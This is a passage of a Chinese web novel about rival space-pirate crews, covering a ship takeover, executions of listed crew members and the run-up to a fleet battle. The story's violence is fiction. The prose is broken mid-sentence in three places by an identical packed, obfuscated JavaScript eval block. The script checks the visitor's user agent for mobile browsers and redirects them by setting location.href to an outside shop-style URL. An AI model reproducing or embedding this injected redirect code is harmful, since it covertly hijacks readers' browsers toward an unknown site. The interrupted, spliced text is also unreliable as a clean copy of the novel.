在看清坠落物的模样后,那些蹲在地上的船员们身躯僵硬,少数几个船员相互交头接耳起来,还有几个承受能力差的更甚者直接昏死过去。 江灯眉心紧蹙,随后毫不客气地用枪管点了点桌面。 在火力威慑下,人群快速安静下来。 “赫尔默已死。” 段心慈不带任何感情的声音响起:“存有二心的人现在尽可以自尽去追随你们死去的头目。” 食堂内是死一般的沉默。 没人想对死去的赫尔默表忠心。 赫尔默对他的这些船员根 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17509234|202926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 本算不上好,船上屡次发生过小团体摩擦,集体霸凌等等事件,他全都看在眼里。 然而赫尔默并不把这些放在眼里。 相反,他认为这是一种促进赫尔默星盗团整体实力的良性竞争。 因此赫尔默到死也不会想到,偌大一个星盗团中竟无一人是真心拥戴他。也算是另一种可悲。 听见这句话的江灯背后升起一阵寒意。 她不可避免地想到段心慈说出这句话的意思同样有提点她的成分。显然,她的两位队员也是这样认为的。两张面孔变得有些苍白。 这样的情绪转变过于显而易见,就连段心慈也无法忽视:“没有威胁你们的意思,我们的合作还未结束。” ‘她居然就这样直接说出来了?!’ 江灯有些惊愕,她的队员们脸上是和自家老大如出一辙的古怪神色。 这时候难道不应该是趁机狠狠敲打她们一番,或是打一棒子给一甜枣这样类似的流程吗? 还是他们在L区呆的时间太久,已经跟不上外面世界的规则? 段心慈并不习惯,也不喜欢使用那些勾心斗角的本领。 或者说,她对人情世故一窍不通。 面对过度解读三人组,她无意多言,只是对江灯交代道:“这些人就交给你的小队处理。” “一个月前发给你的名单上,人一个不留。但要留下可以证明死者身份的视频。” “唉?” 江灯查看着信息箱里的那份名单,就在刚刚她已经在人群中见过其中的许多。 “好嘞,老板你放心交给我吧!” 寸头青年拍着心口保证。 瞥见名单上的姓名,知道自己注定无法逃过被杀死的命运,一个赫尔默船员突然冲出,眼疾手快的雇佣小队队员迅速将她按住。 偷袭失败的赫尔默船员索性破罐子破摔地喊道:“你们死心吧!这艘船早就被赫尔默精神力标识了!” “没有他的精神力对于你们来说这就是艘废船!你们甚至没有这艘船的控制系统!” 江灯闻言心中咯噔一下,转头看向段心慈的方向。 见对方脸上没有半分惊慌,江灯这颗心瞬间放下。 她摸摸自己的寸头,对身旁的队员嘱咐:“赶紧把这人按住。刚才的名单上刚好有这家伙。” 居然有主动跳出来减少自己工作量的大好人,真是不可多得。 想通过恐吓让他们放过自己的人:“……” ‘这时候难道不是应该急得团团转最好打起来吗?’ 显然接下来事情不会按照这位赫尔默船员期待的那样发展。 段心慈后背靠在冰冷墙面上,强压下骨血中的烧灼痛感和对鲜血的渴望。少年闭上眼,再次睁开双眼时,那双黑灰的虹膜中央不再是漆黑的瞳孔,而是深红摇曳的暗火。 铺展自己的精神力只需一瞬—— 红黑交缠游动的细线,丝丝缕缕地穿梭过飞船内每一寸空间。下一秒,段心慈‘看’到横在驾驶舱内的控制系统。 失去赫尔默的精神力支撑,它早就失去原本作用变成一块货真价实的板砖。 游丝猛然扎透那块灰扑扑的屏幕,又在屏幕彻底碎裂前将原有的系统路线彻底代替。 接管飞船上的全部程序也只在片刻就已经完成。 在众人惊愕的目光中,段心慈伸手从空中一抓—— 控制飞船的系统光幕自动浮现在她身前,同听话的家庭宠物别无两样。 见此脑袋正被江灯队员用枪顶着脑勺的船员彻底傻眼。 没能在自己即将死亡的恐惧里撑住三秒,下一刻她竟直接瘫倒在地。 段心慈敛下眼睫,遮住此刻被血雾弥漫的眼睛。 过度使用精神力的后果,在此刻终于爆发。烧灼的痛感不会让她变虚弱,只会刺激她的精神,渴望鲜血淋漓的场面。 ‘如今飞船的控制权在我手中,就算暂时离开也无需担忧……’ 想到这里玄发少年一咬牙,头也不回离开飞船。 ‘我不能……’ 她不能把这里变成一己私欲的血海炼狱。 7. 厨房 飞船内部。 “就,这么……走了??!” “肯定还会回来。” “废话。” “不回来我们就困死在飞船上了。” “所以……我们现在该怎么办?” “…当然是照她说的办。” 三人小队相互拌嘴,但手上的工作一直没停下来过。 他们接二连三地揪出那些列在名单上的人,又把其余船员全都送进关押室。 在前往关押室的路上,众人不可避免地路过那间指挥厅。 平日里紧闭的指挥厅大门此刻大敞,失去刺刀支撑的尸体早就从皮椅上滑落,此刻赫尔默只有半个脑袋诡异地搭在平日坐在身下的皮椅上。 血早已冷却凝固在地板表面。 江灯走上前,看到赫尔默尸体的瞬间她呼吸一窒。 “怎么样?” 两位小队员看到江灯凝重的目光,小声问道。 他们还从来没有看到老大露出过这样的神色,好像看见什么活在传说中的星海异兽。 江灯闭了闭眼,才出口回答:“一击毙命。” “赫尔默甚至没有反抗的机会。” 空气沉默的可怕。 接下来很长一段时间都无人开口。 倘若连精神力临近S阶的赫尔默都能被对方轻易捏死……那杀死他们,就真的和碾死一只蚂蚁没什么区别了。 他们甚至不敢深想,对方的精神力等阶。 ‘这样的人…’ ‘真的会容许自己的地盘上,有任何超出自身控制之外的…活体生命吗?’ 三人的担忧不约而同。 “或许我们可以主动提出加入她的星盗团。” 这是江灯经过深思熟虑后所想出唯一的,也是最好的解决办法。 再如何凶残应该也不至于亲手杀死意图效忠自己的人。 只要不是段心慈亲自动手,他们就还有活下去的希望。 “也不知道……什么时候回来?” 赛霓·柯莱特将有些婴儿肥的侧脸贴在桌面上,长叹一声。 “可恶的凶手!” 路过的扫地机器人挥着旋转扫帚,用古怪的电子腔调喊道:“最好永远也不要回来!我本可以提前退休!!” 它在这里已经打扫不止三十个来回,只为能多听几句这些有趣的人类聊天,顺便发表自己的意见。 “…事已至此,我们先把名单上的人都干掉吧!” 穿园丁服的法尔·艾莫什从座位上跳起,风风火火地冲向关押室。 “……真是勤劳。” 柯莱特深知自己也无法继续松散下去,于是站起身跟上。 扫地机器人终于发现无人理会自己。它发出‘吭哧吭哧’的不满声,但注定只是徒劳。 30分钟后—— 伴随刑讯室中传来最后一声惨叫,穿着厚重复古园丁服的法尔放下他手中的录影仪。 “大功告成~!” “……” “我这辈子从来没有在一天之内杀过这么多人……” 上一秒才刚刚放下鲨鱼刀的女孩神情麻木,两眼恍惚。 “这不是你自己要求的任务吗……?” 负责录影的法尔面露不解。 “不……你不懂……” 赛霓·柯莱特泪眼模糊:‘我真的杀腻了…呕……’ 就在这时江灯推门而入,比起帮助她更像是来隔岸观火的:“都死光了?” “…呕……是……” 赛霓跪坐地面,抱住墙角的垃圾桶,眼眶里泪花直冒。 “干得不错。” 江灯随手拍了拍赛霓的后背,扭头看向法尔:“视频都录了吗?” “录了,录了。” 法尔一手拿着拖把,另一只手在身前的兜里掏出录影仪递给江灯:“放心吧,老板要求的高清正脸和血检基因比对都录了,一镜到底~” 江灯接过录影仪检查无误后将视频全部打包发送进段心慈的收件箱里:“也不知道老板什么时候回来。” 看过赫尔默死相的雇佣小队三人压根没想过段心慈出意外的可能。 瞬杀A+的实力,谁遇到这头凶兽算谁倒霉。 事实也确实如此。 眼下,段心慈正一手抓着两头体长近八米的荒原虎被自己大力扯出而暴露在空气中的颈椎,往飞船所在的方位走去。 经过一路地面摩擦已经秃得差不多尾巴末端被麻绳系紧,分别拖着两串长长的,被绑在绳子上,奇形怪状的猎物。 精神力终于在方才极致的杀戮里耗去十之一二,痛感也随之减弱。 段心慈重新回到飞船上。 浓郁的血气随空气流淌。 飞船光幕收到指令,瞬间浮现。 段心慈:“指路后厨。” 收到指令的光幕卡顿一下,机械电子音响起:“这边检测到您真实的需求可能是:指路食物冷储室。” “是否更改原指令,或保持原指令不变。” 被段暮澜劝告过强者远庖厨的段心慈有些茫然。 当时段暮澜给出的理由是:‘有烧菜做饭的时间不如去多练几发歼星炮,提升准头。’ 虽然她并不百分百认同这样的观点,但在此之前段心慈确实不是很清楚后厨和食物冷储室的区别。 因为她真的有去练歼星炮。(常常不知缘由地炸膛) 心中衡量片刻二者的称呼,段心慈妥协改口:“更改原指令,指路食物冷储室。” 食物冷储室位于装甲货船从船腹往上数的第二层。 这样的安排既不会干扰船上人员的日常活动,也不会因为飞船经过一些特殊航线时,过高的温度导致食物直接融化腐烂。 冷储室的大门足有三米高,在感应到有人接近后它立刻开启身份识别程序。 但飞船操控系统可不管这个,它直接给出最高权限指令—— 冷储室大门在最高权限的指令下被迫自动打开。 带着寒霜的冷气扑面而来。 许多造型怪异的冷冻尸体堆积在一起:上颚被锯掉一半,形似鳄鱼的隧道兽;少了三条腿和一只翅膀,像火鸡鸵鸟基因融合在一起的迁徙候鸟…… 还有一群眼眶空空,外表与蟾蜍相似的羔羊正用黑洞洞的眼眶死不瞑目地盯着大门出口。 荒原虎等猎物的尸体被随意扔进食物冷储室,这里又增添了一抹神秘色彩。 机械厨师会负责处理好这些食物。 走出冷储室,段心慈乘坐升降梯来到第四层。 江灯正站在刑讯室门口和她的队员们交代着什么,见此少年没有立刻走上前。 “一会儿老板回来你们都打起精神来。尽量给人留个好印象。” 江灯看着自己手下两个不着调的队员心中有一万个担忧:“尤其是你,法尔。” “唉呀,老大,我知道了。” 法尔手里拿着拖把,欢快地哼着歌。 他正卖力地做着地面清洁,清洁剂在血迹斑斑的方块地砖上打出不少粉红色泡泡。 “我记得……呃呕……” 赛霓抱着垃圾桶又吐了一阵。 智能垃圾桶简单的显示屏上同样露出一个格外痛苦的表情。 赛霓手里攥着滴着血的鲨鱼刀:“……我记得你的精神力幻形是‘园丁’类型,不是‘清洁工’……” “对哦,哈哈哈,你记得很清楚嘛!!我是清洁工一样的园丁。” 法尔摸着自己后脑勺乱糟糟的发尾,十分开朗。 赛霓:“……” ‘我还是再吐一会儿比较好。’ 江灯:“……” ‘毁灭吧,真的。’ “……夜间愉快,各位。” 段心慈自阴影中走出。 她神色懒散,容易让人联想到狩猎成功后餍足的兽类。 那双重新变为黑灰的眼中透着几分圆钝感,但绝不会有人因为这几分少得可怜的圆钝就忽视少年周身难以遮掩的血气和若有似无的杀意。 飞船上惨白的灯光亮得刺眼。 江灯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17509235|202926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 注意到在某些光线特定的角度,少年墨色的发丝会笼上一圈暗红的光泽。 ‘可能是染的。’ 她在心中猜测,因为知道赛霓·柯莱特的金发是染的。 想到这里江灯忍不住又多看了两眼。 她寻思这褪色效果还挺高级。等以后加入老板的星盗团,和未来首领打好关系,不愁段心慈不把同款染发剂的牌子推给她。 江灯没有注意到,周遭氛围已经逐渐演变为有几分安详与诡异的宁静。 法尔和赛霓看向她的目光里全是敬畏和怜悯。 “不是染的。” 段心慈好心回答。 “如果真的很想要同款,我可以告诉你方法。” ‘不,我也不是那么想要……’ 江灯面上纹丝未动。 只有她自己知道,此刻她的内心犹如一颗正在经历引力坍缩的恒星…… ‘够了,江灯。’ ‘说点什么来降低一下自己的死亡率啊!’ 于是她听见自己干巴巴的声音,像一块被抽干全部水分的全麦面包:“好的,谢谢。” 法尔和赛霓目光中的怜悯几乎要化为实质。 他们知道江灯情商忽高忽低的毛病又犯了。 “…不客气。” 段心慈觉得自己的情商也快跟着跌落谷底了。 虽然她根本没有情商。 好在一切还有救。 “是这样的……在您外出的时间中。” 救星赛霓发话了,尽管她抱着垃圾桶的手更加用力。 智能垃圾桶人性化地露出一个表达窒息的表情。 “我们经过多方面的商量,决定加入您的……” ‘用什么词合适来着…飞船?队伍…?’ 赛霓觉得自己在发抖,但她还是坚持道:“您的……星盗团……” “…?” ‘过于客气。’ 段心慈在心中琢磨。 与其说是客气,倒不如说是生涩的胆怯。 在她过去的成长环境中,还从来没有遇见过会将胆怯这两个字写在脸上的人。 在Z区没有人会需要恐惧这种无用的情绪,自然不会因为恐惧而衍生出胆怯。 而到了L区…… 疗养院里全是做人体实验的恶魔。 她不需要在意这些已经失去人性的人为苟活生出的胆怯。 至于那些受困的人,自然有联邦后续安排救治。 怎么想都和自己没什么关系。 但是… 看着赛霓几乎要晕过去的神色,段心慈无意为难:“你们会跟着飞船一起离开L区。” “这是我和江灯先前已经交易过的内容,不会轻易更改。” “至于加入我的星盗团…如果是因为担忧自己的生存空间而临时决定的策略——” 段心慈拒绝:“就不必了。” 赛霓早已经做好了被无视,甚至是丧命的准备。 毕竟S阶以上的人,性格是出名的难搞。 每年新闻头条上都会有数起S阶杀人后无罪释放的宣判。 反观评论区却是一片叫好。他们欢呼着诉说弱小就是原罪,强者理应为所欲为。 在这样的环境下所有人对S阶以及S阶以上的强者畏惧与日俱增。 那双雾霭蓝的眼睛水雾弥漫,赛霓抬起头,语气诚恳:“我明白您的意思。” “请放心,我们一定会在飞船上安分守己的!” 然后她就听到江灯骤然欢脱的语气:“太棒了!所以真的存在发色渐变的秘诀吗!” 赛霓·柯莱特:“……?” 法尔·艾莫什:“…喔。” ‘这就是安分守己吗?’ 段心慈不抱任何希望地随意答道:“精神力进阶到双S阶,发色就会跟随精神力幻形而发生变化。” “不过基因编辑…或者性别再编也会随之失效。” 她留下一句‘你们自便’随后转身上楼。 任由身后三人头脑宕机,一片空白。 8. 争王 时光如梭,两年时间飞速流逝。 * 死亡航线。 死亡航线横贯十七余座星系群,以暴虐多变的弗瑞黎带和无数漂浮在真空中,恍若幽灵的船只残骸名震无数星际种族。 纵然死亡航线的威名如雷贯耳,终究是被冠以航线之名,吸引了无数自认驾驶水平高超,前来寻宝探秘,依靠捡漏发家的星海旅者。 曾有一位从死亡航线侥幸生还的星海旅者,回到家中后修养数年,期间写下许多火爆一时的冒险小说。 在书中他这样提及那片悚然之地: “那些失去成为行星资格、高速运转的残余天体,就像活在传说中的怨鬼,它们不断从你身边呼啸而过,只等夺走你的性命好告慰自己的残缺。” 诚然,这段话充满私人情绪以及不严谨的修辞手法。 尤其是死亡航线的可怖之处远远超过这位小说家描写的那样。相较怨鬼,它更冰冷、残酷。 大部分旅者最后都成为无名的宇宙残骸,只有极少数,像那位小说家一样得以逃脱的个例,在回到自己的家乡后大吹特吹,夸耀自己经历的同时再次为死亡航线蒙上浓重的暗影。 而今日,只在今日。 没有任何一艘多余的船只胆敢靠近这里,却并非出自死亡之地的威名。 而是称霸星海百余年,拥有悠久的星盗传承以及堪比世家大族的丰厚家底,位列晶体集会通缉榜第一,黑市总通缉榜排行第五。 目前唯秋泯樾是从的S级星际海盗团【永恒星】。 以及在两年之内,凭杀戮暴君之名迅速崛起,将S级以下星盗团伙全部一网打尽,如今同行仅剩【永恒星】。排行晶体集会通缉榜第二,黑市总通缉榜第一。 尊段心慈为首领,同样是S级星际海盗团伙【猎途座】。 【永恒星】和【猎途座】这两艘堪称庞然巨物的战舰,就要在这片遍布陨石和幽灵船的死亡航线上,做最后一战。 不再是A级星盗以下通用的装甲货船。而是正儿八经,能够和军队以及晶体集会打得有来有回的战舰。 【永恒星】和【猎途座】就像两头迅猛暴烈的星海异兽,盘踞在各自为王的漆黑真空宇宙中,在大战在即的前夕彼此对峙,心中掂算着对手的实力。 关于这场战役,不管是当事双方,还是人类联邦乃至宇宙中大大小小的其余星际种族,都对此无比关心。 毕竟能让从古至今都各自为王的星盗行业面临一统境地,无论如何都算得上是千年难遇的盛况。 他们都想在第一时间见证新王的诞生。 就在距离死亡航线最近的安全区域,无数战地记者驾驶防御型飞船,用他们手中能买到的,最贵也是最高清的摄像头记录这历史性的一刻。 * 寰宇2172年06月19日 正午11:50:31 【猎途座】战舰内部。 段心慈坐在指挥厅的首席位,面容阴郁却难掩锋利。在她下座的依次是江灯、琼、赛霓·柯莱特以及法尔·艾莫什 。 两年时间过去少年身量拔高不少。如今已有172cm,堪堪达到星际平均身高。 “根据星际战争法条约,我们与【永恒星】商谈的正式对战时间在明天凌晨5:00。”指挥厅中,江灯率先开口打破沉默。 法尔着迷地盯着自己面前的芦荟饮料:“出于职业道德和多次与【永恒星】舰队交手的经验,这份合约被履行的可能性仅为50%,这和0%没有区别。” 琼则是针对【永恒星】的首领进行发言,他笃定道:“秋泯樾,极度奉行成王败寇的信条。于她而言,只要能够赢得胜利,哪怕代价是成为宇宙公敌也在所不惜。” 段心慈身体后仰,靠在亮银的椅背上漠然道:“表面功夫到此为止。说我和你们同僚不知道的内容。” “秋泯樾带人在弗瑞黎带埋了三万吨STA炸弹。” 赛霓·柯莱特打起精神头来:“根绝我的推测是拥有仿陨石以及模拟幽灵船功能的星云#9系列STA。” “【永恒星】的首领,也就是秋泯樾,她有一位仿生情人。” 琼在赛霓之后开口:“是位第二性别为男的仿生人。虽然手段下作,但我还是想说:我们可以通过系统入侵来控制她的情人稍作制衡。” 眼见无一人说话,他连忙补充道:“虽然我们都知道秋泯樾不是感情用事的人,但有时候好心情也很重要。” ‘啧啧,好下作。’ 法尔·艾莫什看不上这种手段,但他神色扭曲了一瞬继而颇为忍辱负重地说道:“…呃,这种事知道总比不知道来得好。” 赛霓·柯莱特用一种看败类的目光觑他。 “…干什么这么看我?!” 被看得有些心惊肉跳,法尔连忙开口:“我得到消息是,【永恒星】内部已经彻底决定将战争法条约置之度外。” 江灯:“虽然这件事在我们事先的意料之中……他们高层都疯了?就任由秋泯樾这样毁约?” “可不是吗,毕竟没‘疯’的都被秋泯樾秘密处死了。” 法尔无所谓道:“所以我觉得他们军心一定不齐。” “毕竟,现在的秋泯樾就像一头夺命异种,盘踞在【永恒星】的主舰上俯视并监控她的每一个属下。” 琼:“…这个描述,会不会太过……?” “过?趁还没打起来可以把你送进去体验两圈。” 法尔咬牙切齿:“连科研院的人造花腿蚊子在他们战舰里都要每天消杀三遍!三遍啊!” 闻言众人神色复杂。 他们好像在无意间知道了法尔打探消息的渠道。 “…这就是你们的关注点吗?!” 被人用怜悯的目光围观,法尔磨磨牙:“现在最重要的难道不是查清【永恒星】究竟打算在什么时间偷袭我们吗!” “午夜00:00。” 江灯淡定端起身前的橙汁,一饮而尽。 法尔噎了噎。 ‘……真没意思。真的。’ “通知你们手下的舰队分别做好战前准备。” 该知道的内情都知道后,段心慈站起身,声音不容置喙:“这一战我会亲自上场。” 没有理会其余人骤然惊诧的神情,她转身垂下眼睫。 三万吨星云#9,秋泯樾为了对付她还真是下了血本。 按下骨血中灼烧的杀意,段心慈下达这场会议的最后指令。 “散会。” 墨灰虹膜下,深红的火光摇曳。疯狂的,野兽般的杀戮欲望被强行按下。 ‘不要失控。鲜血和性命,这些都不是我想要的。’ 她为自己套上镣铐。 ‘只要…秋泯樾的性命,就够了。’ 与此同时,【永恒星】-战舰内部。 女人坐在靠窗的沙发上,一根香烟在她的两指间徐徐燃烧。缭绕的烟雾从殷弘的薄唇中吐出,朦胧了她的面容。 秋泯樾抬起手掐住身旁人的下颚,她盯着那人的脸,声音沙哑:“你不会在关键时刻掉链子的,对吧?” 低垂着头,黑色的发丝温顺地遮盖了他的大半眉眼:“不会的,主人。” “你应该叫我什么?” 秋泯樾掐他的脸愈发用力。很明显,她对这个称呼不满意。 “……爱人。” 秋泯樾冷嗤一声,不再发难。她甩开手中人的脸,黑色短发的青年顺着力道倒在沙发上,眼睫低垂。 “老实呆着。没有我的命令不准离开这个房间。” “是……” 发丝遮盖仿生人的双眼,秋泯樾无法判断这样的顺从有几分真心。不过,她也不需要。 真心这种东西,只有弱者才会渴求。 秋泯樾只要钱、权。 想到这里,她对毁了这一切的【猎途座】,以及【猎途座】的首领段心慈——恨意更加浓烈。 伴随卧室的大门被砰地一声关上,秋泯樾的身影消失在青年眼中。 “……爱人。” ‘樾……’ ‘不要去,算法说你会死的,求你……’ 他说不出阻拦秋泯樾的话,只好无力地半缩在沙发上。 冰冷的泪水自眼眶中滚落,黑发青年目光略显空洞地盯着窗外一片死寂的星空:‘我的立场……’ * 【永恒星】指挥厅。 “您来了。” 说话的人低头弯腰,不敢直视秋泯樾一丝一毫。 三个月里,拜这位所赐,他们已经死了太多人。如今【永恒星】上人人自危。 秋泯樾大剌剌地往主位上一坐,点了点手中烧了半截的香烟:“开始汇报。” 座下几人闻言浑身一颤,无人敢于率先开口。 “死人是不会说话的,可以谅解。不过【永恒星】上可不留尸体。” 秋泯樾摆摆手,会议室上方的枪管收到指令,冰冷的枪口顶住这些人的后脑勺,稍有妄动就会毙命当场。 ‘该死,秋孟那个女人!到底给她的宝贝女儿留了多少保命手段!!’ 这些人几欲崩溃,却连动都不敢动,生怕自己的小命交代在这儿。 “首……首领,我,我有一个情报。” 其中一人小心翼翼地开口。 “嗯?”秋泯樾玩味地笑了笑,只是眼中看不见丝毫笑意:“说。” ‘枪管子还顶在我头上就让我说。好歹放开一阵啊!’ 多普恨得直咬牙,却不敢表现出来。 他极为恭敬地开口:“据我所知,【猎途座】很有可能已经知道,我们在弗瑞黎带中埋下不少STA的……情报。” “嗯,那又怎么样?他们也来不及拆了不是吗?”秋泯樾浑不在意地挥了挥手:“还是说那群家伙打算哭唧唧地连夜跑去星海阁楼告状?别逗了。” 星海阁楼,由宇宙中11位不同种族的元□□同掌管。而所有智慧生命种族的发展历程都记录其中,没有人知道这是如何做到的。 尽管广 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17509236|202926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为人知的宇宙基础和平共约就由星海阁楼一手创建,但星海阁楼本身依旧极为神秘。 “……” ‘疯子,真是疯子!连【永恒星】被渗透到这个地步都不在意!’ 多普气得浑身发抖。 秋泯樾狭长的眼睛盯着这人。许久,她倏地笑了。 下一秒,枪管射出的激光洞穿了多普的脑子。红红白白的脑浆溅了一大片。 指挥厅中众人心中无一不是惊惧,这魔鬼又在发什么疯! “为……嗬嗬……为……什……” 多普浑身抽搐着软倒,他想不通自己的死因。 秋泯樾笑得放肆,宛若索命的恶鬼:“你眼睛里,有背叛。” 死去的人无法为自己辩驳,【永恒星】指挥厅中是一片瘆人寂静。 “好孩子们,还有什么要汇报给我的?” 秋泯樾身材魁梧,对旁人来说高度适中的长桌,于她而言与茶几无异。秋泯樾长腿一跨,就那么大咧咧地架上了桌子。 其余人均是敢怒不敢言。 “首领大人,我知道一个,算得上有意义的情报。” 位于会议桌末端的女人开口,她抹了把脸上的脑浆,看向秋泯樾。 这个时候再计较私人恩怨是愚蠢的行为,说到底现下他们是和【永恒星】利益与共的蚂蚱。 想到这里她深吸一口气,告诉自己:‘冷静,方佳,冷静。冲动是魔鬼。’ “嗯哼,说。”秋泯樾似笑非笑地盯着方佳。 方佳强迫自己镇定下来,道:“我对【猎途座】算不上了解,他们的保密工作做得很好。” “但针对他们的首领,也就是那位……我略有些了解。” “嗯?”闻言秋泯樾的身体微微前倾,她来了兴致。 毕竟关于段心慈的情报实在少得可怜,目前绝大部分人对段心慈的印象就是她的名号:杀戮暴君。 人如其名,对同行尽数屠戮,对集会刀剑相向,对来犯者毫不客气,对联邦警局…… 好吧,联邦警局目前似乎没有和段心慈对上,应该是在内部告诫过。 该说不说,原来最识相的还得是联邦吗? 方佳明白,秋泯樾这是对她提出的情报感兴趣,同意让自己继续说下去的意思。接下来她只要老老实实把自己知道的东西都说出来,至少能够保全性命。 “她是……Z区,四大世家之一段氏集团掌权人,段暮澜的独女。” 此话一出,就如同夜空中惊雷炸响,引得指挥厅里顿时一阵骚动。 “你没开玩笑吧?段暮澜?独女?” “段暮澜想不开了?她才184岁!!那么年轻怎么会有孩子!?” 这个消息简直和‘晶体集会倒台了’给人带来的震撼程度不相上下。他们甚至顾不上顶在自己后脑的枪管。 秋泯樾指尖敲了敲桌子,瞬间全场寂静:“方佳,你继续说。” 方佳抓了抓自己的脑袋。 事实上她也对此表示真的非常疑惑:“段暮澜长得很美。” “因此哪怕权势滔天到足够骇人,性格恶劣到足够让人厌恶,一夜情后死无全尸的人数不胜数。但仍旧有大把的人,嗯…不论性别,都想要和她发生点什么。” “她对看得上眼的向来,来者不拒。所以……嗯,其实段暮澜的私生子很多。但找上门还被承认的,只有段心慈。当然,她没有结缗,也就没有所谓的缗生子。” “同外界猜测的相反,她并不喜爱这位找回家的孩子。甚至是极度厌恶。这在Z区不是秘密。” “具体理由我不清楚,但两年前段心慈被段暮澜以治疗精神病的理由送进了L区疗养院。再后来得到她的消息……就是,作为星际海盗的杀戮暴君。” 方佳一口气说完了这长串话,她有些紧张地舔了舔下唇。秋泯樾应该会看在她尽心尽力毫无隐瞒的份上放过她… 秋泯樾闭了闭眼。如果说【猎途座】的杀戮暴君,她仍有招惹的勇气。可Z区,偏偏是Z区。 从那个地方走出来的能有什么正常人。 能和段暮澜打出拉锯战的,又会是什么样的…… 怪物。 一个年轻的,野心勃勃的,怪物。 秋泯樾第一次体会到力不从心的感受。 她的沉默让方佳松了口气,看样子这疯子是打算放过自己…… ‘砰——!’ 方佳喉咙上传来一阵剧痛,她艰难低下头。 血淅淅沥沥地滩满会议桌,她缓慢抬起手,在自己的脖颈上摸到一个潮湿温暖的……破洞。 方佳因不可置信和极度恐惧而睁大的眼睛,从程度上取悦了秋泯樾。 秋泯樾讽笑道:“自作聪明的蠢东西。” 看着那群在座椅上抖若糠筛的吸血虫,她突然感到无聊至极。 “最后一战,我会亲自上场。” ‘就让我去会一会这位,杀戮暴君。’ 偏执与阴翳在秋泯樾眼底翻滚,她终于不再犹豫。 9. 蜂王 战前两小时—— 寰宇2172年06月19日 深夜22:00:00 “动作快点!把你们的枪都给我看牢了!” 江灯从来不给除了段心慈之外的人好脸色看:“飞船推进器检查过吗?出了岔子也就不用活着回来丢人现眼!” 上身黑色紧身背心勾勒出她完美健硕的八块腹肌,下装是便于作战的墨绿长裤。她身上挂了至少三把枪。 “我再说最后一遍!不到万不得已,禁止把你们的精神力和驾驶的任何!注意我说的是任何!!禁止和任何星舰进行链接!!” “哪怕是你们屁股下面的也不行!” “听到了没有!” “是!长官!”回答她的声音整齐划一,铿锵有力。 江灯摆摆手示意他们原地解散,做最后的战前准备。 两年时间过去,自江灯从段心慈手中接过管理舰队成员的权力后从来没有懈怠过一天,法尔和赛霓也在自己擅长的岗位上各司其职。 当然,对方开的工资也价格不菲就是。 * 战前一小时 寰宇2172年06月19日 深夜23:00:00 江灯已经在一间房门前徘徊许久,却始终踌躇不前。 ‘咔哒’一声脆响,更衣室的大门被人从内拉开。 段心慈那张阴郁精致,美貌却神情锋利,极具冲击力的脸就出现在江灯面前。 她这才迟迟意识到,在如今整容业和后天基因编辑发达的星际世界里,【猎途座】的首领是难得一见的天生美人。 只是这张脸在平日被段心慈周身阴冷的杀欲完全压下,很少有人会注意到。 “……你在这里干什么?” 段心慈早就知道有人站在更衣室门口,但依旧为突然出现在自己面前的江灯感到片刻迟疑。 毕竟她与江灯算不上熟悉。 ‘是发生什么事了吗?’少年不解。 江灯有些想问段心慈有几成把握平安回来。似乎是出于对两年中居住于同一艘战舰中的微渺情谊,又似乎不只是这些。 是感激之情吗? 是。 但远远不仅是感激之情。 最后她犹豫着干涩的嘴唇吐出祝福的话语:“燎原之火,战无不胜。” 这是如今星际人类在面对大小战役前最爱说的一句话。 双亲是这样鼓励病弱的孩童;科学家也会在实验室中这样自语;而在战争中,如果你对面的敌人并非人类,说出这句话大概率会产生奇效。 段心慈心脏跳空一拍。 没有表现出任何异样,她气息平稳:“谢谢。” 随后又补上一句:“你也是。” 两年中江灯不止一次体会到这透骨的无力感。面对这个对于人情世故一窍不通,身上又总是伤痕累累的少年。 双S阶也会受伤吗? 江灯从一开始的好奇,到如今诡异的闷痛。 一步错,步步错。她不该对一个能够轻易撕碎自己的强者抱有怜悯。 可人心并非草木顽石。 对方给了她活下去的机会,她又如何能对那一身伤痕无动于衷? “时间紧迫,我该出发了。” 段心慈如今的年纪正处在变声期,稍不注意声音就会变得有些喑哑。 未知情绪在江灯心中蔓延,如同蜘蛛结下厚重的网。 很久的从前,也有那么一个人。 她目送你长大,成年。一脚踏进命定的战场。 至此,再无归途。 段心慈看不见身后江灯复杂的眼眸。 * 寰宇2172年06月20日 深夜00:00:00 ‘轰——!’ 炮弹击碎船体的刺眼光芒在黑暗中爆开。 随之产生的刺眼光芒甚至能够被三千七百万公里外的记者营地观测。 “怎么回事?怎么提前开战了!?” “是【永恒星】!” “【永恒星】那群疯子居然不顾战前协议提前开战了!!” 霎时间,营地里一片混乱。 尽管并无智慧生命伤亡,但一些金贵录影仪都遭遇了不同程度的损毁。 